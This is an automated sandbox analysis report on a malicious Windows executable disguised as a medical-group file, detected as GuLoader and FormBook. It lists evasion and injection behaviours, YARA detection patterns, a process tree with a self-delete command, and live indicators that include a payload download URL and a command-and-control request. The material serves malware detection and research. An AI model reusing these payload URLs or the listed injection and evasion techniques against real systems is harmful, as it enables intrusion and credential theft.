Play interactive tour

Edit tour

Analysis Report Sleaford Medical Group.exe

Overview

General Information

Sample Name:	Sleaford Medical Group.exe
Analysis ID:	358420
MD5:	dde7e39d025b75849184c077517030ae
SHA1:	6350e468239b6099421676fb6ff289a27f8cda5a
SHA256:	ba1ae604539b6cde921342baaceb3eb82149b0f15c369b77020b38254a586629
Tags:	GuLoader
Infos:
Most interesting Screenshot:

Detection

FormBook GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

Yara detected Generic Dropper

Yara detected GuLoader

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Creates autostart registry keys with suspicious values (likely registry only malware)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Yara detected VB6 Downloader Generic

Abnormal high CPU Usage

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

Sleaford Medical Group.exe (PID: 2412 cmdline: 'C:\Users\user\Desktop\Sleaford Medical Group.exe' MD5: DDE7E39D025B75849184C077517030AE)

Sleaford Medical Group.exe (PID: 5356 cmdline: 'C:\Users\user\Desktop\Sleaford Medical Group.exe' MD5: DDE7E39D025B75849184C077517030AE)

explorer.exe (PID: 3388 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

wscript.exe (PID: 5616 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

oversad.exe (PID: 6316 cmdline: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe MD5: DDE7E39D025B75849184C077517030AE)

help.exe (PID: 6328 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)

cmd.exe (PID: 6472 cmdline: /c del 'C:\Users\user\Desktop\Sleaford Medical Group.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b337:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c33a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18419:$sqlite3step: 68 34 1C 7B E1 0x1852c:$sqlite3step: 68 34 1C 7B E1 0x18448:$sqlite3text: 68 38 2A 90 C5 0x1856d:$sqlite3text: 68 38 2A 90 C5 0x1845b:$sqlite3blob: 68 53 D8 7F 8C 0x18583:$sqlite3blob: 68 53 D8 7F 8C
0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b337:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c33a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18419:$sqlite3step: 68 34 1C 7B E1 0x1852c:$sqlite3step: 68 34 1C 7B E1 0x18448:$sqlite3text: 68 38 2A 90 C5 0x1856d:$sqlite3text: 68 38 2A 90 C5 0x1845b:$sqlite3blob: 68 53 D8 7F 8C 0x18583:$sqlite3blob: 68 53 D8 7F 8C
00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b337:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c33a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18419:$sqlite3step: 68 34 1C 7B E1 0x1852c:$sqlite3step: 68 34 1C 7B E1 0x18448:$sqlite3text: 68 38 2A 90 C5 0x1856d:$sqlite3text: 68 38 2A 90 C5 0x1845b:$sqlite3blob: 68 53 D8 7F 8C 0x18583:$sqlite3blob: 68 53 D8 7F 8C
0000001C.00000002.731169512.000000000333D000.00000004.00000020.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth	0xd308:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
0000001C.00000002.736741312.0000000003CCF000.00000004.00000001.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth	0xd2cc:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b337:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c33a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18419:$sqlite3step: 68 34 1C 7B E1 0x1852c:$sqlite3step: 68 34 1C 7B E1 0x18448:$sqlite3text: 68 38 2A 90 C5 0x1856d:$sqlite3text: 68 38 2A 90 C5 0x1845b:$sqlite3blob: 68 53 D8 7F 8C 0x18583:$sqlite3blob: 68 53 D8 7F 8C
0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b337:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c33a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18419:$sqlite3step: 68 34 1C 7B E1 0x1852c:$sqlite3step: 68 34 1C 7B E1 0x18448:$sqlite3text: 68 38 2A 90 C5 0x1856d:$sqlite3text: 68 38 2A 90 C5 0x1845b:$sqlite3blob: 68 53 D8 7F 8C 0x18583:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: help.exe PID: 6328	JoeSecurity_GenericDropper	Yara detected Generic Dropper	Joe Security
Process Memory Space: Sleaford Medical Group.exe PID: 5356	JoeSecurity_GenericDropper	Yara detected Generic Dropper	Joe Security
Process Memory Space: Sleaford Medical Group.exe PID: 5356	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: Sleaford Medical Group.exe PID: 5356	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: oversad.exe PID: 6316	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: oversad.exe PID: 6316	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Click to see the 18 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe

ReversingLabs: Detection: 10%

Multi AV Scanner detection for submitted file

Show sources

Source: Sleaford Medical Group.exe	Virustotal: Detection: 47%			Perma Link
Source: Sleaford Medical Group.exe	ReversingLabs: Detection: 10%

Yara detected FormBook

Show sources

Source: Yara match	File source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: Sleaford Medical Group.exe

Joe Sandbox ML: detected

Source: 22.3.Sleaford Medical Group.exe.8cfbb0.0.unpack

Avira: Label: TR/Patched.Gen

Compliance:

Uses 32bit PE files

Show sources

Source: Sleaford Medical Group.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown

HTTPS traffic detected: 159.203.144.58:443 -> 192.168.2.3:49734 version: TLS 1.2

Binary contains paths to debug symbols

Show sources

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000018.00000000.528248843.000000000E1C0000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: Sleaford Medical Group.exe, 00000016.00000003.497880207.000000001E1D0000.00000004.00000001.sdmp, help.exe, 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Sleaford Medical Group.exe, help.exe
Source:	Binary string: help.pdbGCTL source: Sleaford Medical Group.exe, 00000016.00000002.558311091.00000000000D0000.00000040.00000001.sdmp
Source:	Binary string: help.pdb source: Sleaford Medical Group.exe, 00000016.00000002.558311091.00000000000D0000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000018.00000000.528248843.000000000E1C0000.00000002.00000001.sdmp

Software Vulnerabilities:

Source: C:\Windows\SysWOW64\help.exe

Code function: 4x nop then pop esi

28_2_02ED72E0

Networking:

Source: global traffic

HTTP traffic detected: GET /twy/?pPX=elx0UibK+4/Nbm+qsvCMZ/KEfRavAHzyccJHHIU1h6WwAO+M5fT0/YOmYv0X1fYwTcwa&Hp=V6AHd0O0h HTTP/1.1Host: www.landingberg.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

Source: unknown

DNS traffic detected: queries for: 01677937777.burrow.io

Source: Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	String found in binary or memory: http://cps.letsencrypt.org0
Source: Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: explorer.exe, 00000018.00000003.559663205.000000000F57C000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX
Source: Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	String found in binary or memory: http://r3.i.lencr.org/0
Source: Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Sleaford Medical Group.exe, 00000016.00000002.566373992.0000000000870000.00000004.00000020.sdmp	String found in binary or memory: https://01677937777.burrow.io/XzsF
Source: Sleaford Medical Group.exe	String found in binary or memory: https://01677937777.burrow.io/spark/binwhyte_utZnZr121.bin
Source: Sleaford Medical Group.exe, 00000016.00000002.565857663.0000000000858000.00000004.00000020.sdmp	String found in binary or memory: https://01677937777.burrow.io/spark/binwhyte_utZnZr121.bin38
Source: Sleaford Medical Group.exe, 00000016.00000002.566373992.0000000000870000.00000004.00000020.sdmp	String found in binary or memory: https://01677937777.burrow.io/spark/binwhyte_utZnZr121.binT
Source: Sleaford Medical Group.exe, 00000016.00000002.566373992.0000000000870000.00000004.00000020.sdmp	String found in binary or memory: https://01677937777.burrow.io/uzTF
Source: help.exe, 0000001C.00000002.736924910.00000000041BF000.00000004.00000001.sdmp	String found in binary or memory: https://www.landingberg.com/twy/?pPX=elx0UibK

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown

HTTPS traffic detected: 159.203.144.58:443 -> 192.168.2.3:49734 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Source: Sleaford Medical Group.exe, 00000000.00000002.459341616.000000000067A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000002.731169512.000000000333D000.00000004.00000020.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 0000001C.00000002.736741312.0000000003CCF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe	Process Stats: CPU usage > 98%
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9660 NtAllocateVirtualMemory,LdrInitializeThunk,	22_2_1E3D9660
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D96E0 NtFreeVirtualMemory,LdrInitializeThunk,	22_2_1E3D96E0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9710 NtQueryInformationToken,LdrInitializeThunk,	22_2_1E3D9710
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D97A0 NtUnmapViewOfSection,LdrInitializeThunk,	22_2_1E3D97A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9780 NtMapViewOfSection,LdrInitializeThunk,	22_2_1E3D9780
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9540 NtReadFile,LdrInitializeThunk,	22_2_1E3D9540
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D95D0 NtClose,LdrInitializeThunk,	22_2_1E3D95D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9A20 NtResumeThread,LdrInitializeThunk,	22_2_1E3D9A20
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9A00 NtProtectVirtualMemory,LdrInitializeThunk,	22_2_1E3D9A00
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9A50 NtCreateFile,LdrInitializeThunk,	22_2_1E3D9A50
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9860 NtQuerySystemInformation,LdrInitializeThunk,	22_2_1E3D9860
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9840 NtDelayExecution,LdrInitializeThunk,	22_2_1E3D9840
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D98F0 NtReadVirtualMemory,LdrInitializeThunk,	22_2_1E3D98F0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	22_2_1E3D9910
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D99A0 NtCreateSection,LdrInitializeThunk,	22_2_1E3D99A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9610 NtEnumerateValueKey,	22_2_1E3D9610
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9670 NtQueryInformationProcess,	22_2_1E3D9670
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9650 NtQueryValueKey,	22_2_1E3D9650
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D96D0 NtCreateKey,	22_2_1E3D96D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9730 NtQueryVirtualMemory,	22_2_1E3D9730
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3DA710 NtOpenProcessToken,	22_2_1E3DA710
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3DA770 NtOpenThread,	22_2_1E3DA770
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9770 NtSetInformationFile,	22_2_1E3D9770
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9760 NtOpenProcess,	22_2_1E3D9760
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9FE0 NtCreateMutant,	22_2_1E3D9FE0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3DAD30 NtSetContextThread,	22_2_1E3DAD30
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9520 NtWaitForSingleObject,	22_2_1E3D9520
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9560 NtWriteFile,	22_2_1E3D9560
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D95F0 NtQueryInformationFile,	22_2_1E3D95F0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9A10 NtQuerySection,	22_2_1E3D9A10
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9A80 NtOpenDirectoryObject,	22_2_1E3D9A80
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9B00 NtSetValueKey,	22_2_1E3D9B00
